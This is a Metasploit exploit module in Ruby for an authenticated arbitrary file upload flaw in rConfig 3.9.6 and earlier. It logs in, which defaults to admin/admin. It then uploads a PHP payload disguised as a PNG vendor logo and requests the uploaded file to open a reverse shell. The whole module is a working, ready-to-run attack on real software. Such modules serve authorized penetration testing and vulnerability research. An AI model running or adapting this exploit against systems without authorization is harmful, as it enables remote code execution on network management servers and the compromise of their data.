##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'rConfig Vendors Auth File Upload RCE',
        'Description' => %q{
          This module allows an attacker with a privileged rConfig account to start a reverse shell
          due to an arbitrary file upload vulnerability in `/lib/crud/vendors.crud.php`.
          Then, the uploaded payload can be triggered by a call to `images/vendor/<payload_file>.php`
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'MURAT ŞEKER', # Exploit-db
          'VISHWARAJ BHATTRAI', # Exploit-db
          'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
        ],
        'References' => [
          ['EDB', '49665'],
          ['EDB', '49783']
        ],
        'Platform' => [ 'php' ],
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'DisclosureDate' => '2021-03-17',
        'Targets' => [
          [ 'rConfig <= 3.9.6', {}]
        ],
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
      OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
      OptString.new('TARGETURI', [true, 'The base path of the rConfig server', '/'])
    ]
  end

  def authenticate
    r = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login.php'),
      'keep_cookies' => true
    })

    fail_with Failure::Unreachable "Target #{RHOST} could not be reached." unless r

    r = send_request_cgi!(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'lib/crud/userprocess.php'),
      'headers' => {
        'Origin' => full_uri(''),
        'Referer' => "#{full_uri}/login.php"
      },
      'keep_cookies' => true,
      'vars_post' => {
        'user' => datastore['USERNAME'],
        'pass' => datastore['PASSWORD'],
        'sublogin' => '1'
      }
    )

    fail_with Failure::Unreachable "Target #{RHOST} could not be reached." unless r

    if r.body.to_s.include?('Invalid')
      fail_with Failure::BadConfig, 'The admin credentials given are incorrect'
    end

    unless r.headers.include?('location')
      fail_with Failure::UnexpectedReply, 'Unexpected reply as auth redirection didn\'t work'
    end

    print_good 'We successfully logged in !'
  end

  def check
    r = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login.php')
    })

    if r&.code == 200

      version = r.body.to_s.match(/Version (\d*.\d*.\d*)/)
      if version && version[1]
        print_good(version[1] + ' of rConfig found !')
        unless Rex::Version.new(version[1]) <= Rex::Version.new('3.9.6')
          return CheckCode::Detected('Only versions <= 3.9.6 are vulnerable !')
        end

        return CheckCode::Appears('Vulnerable version of rConfig found !')
      else
        return CheckCode::Safe('Version of rConfig not found !')
      end
    else
      CheckCode::Unknown("Can't access the rConfig web interface !")
    end
  end

  def exploit
    cookie_jar.clear
    authenticate
    filename = "#{Rex::Text.rand_text_alpha_lower(5..12)}.php"

    post_data = Rex::MIME::Message.new
    post_data.add_part(Rex::Text.rand_text_alpha(8..12), nil, nil, 'form-data; name="vendorName"')
    post_data.add_part(payload.encoded, 'image/png', nil, "form-data; name='vendorLogo'; filename=#{filename}")
    post_data.add_part('add', nil, nil, 'form-data; name="add"')
    post_data.add_part('', nil, nil, 'form-data; name="editid"')

    print_status("Uploading file \'#{filename}\' containing the payload...")

    r = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/lib/crud/vendors.crud.php'),
      'headers' => {
        'Origin' => full_uri('')
      },
      'keep_cookies' => true,
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    )

    if r&.code == 302
      register_file_for_cleanup(filename)
      print_status('Triggering the payload ...')
      send_request_cgi(
        'method' => 'GET',
        'keep_cookies' => true,
        'uri' => normalize_uri(target_uri.path, "/images/vendor/#{filename}")
      )
    else
      fail_with Failure::Unknown "Wasn't able to upload the payload file"
    end
  end
end
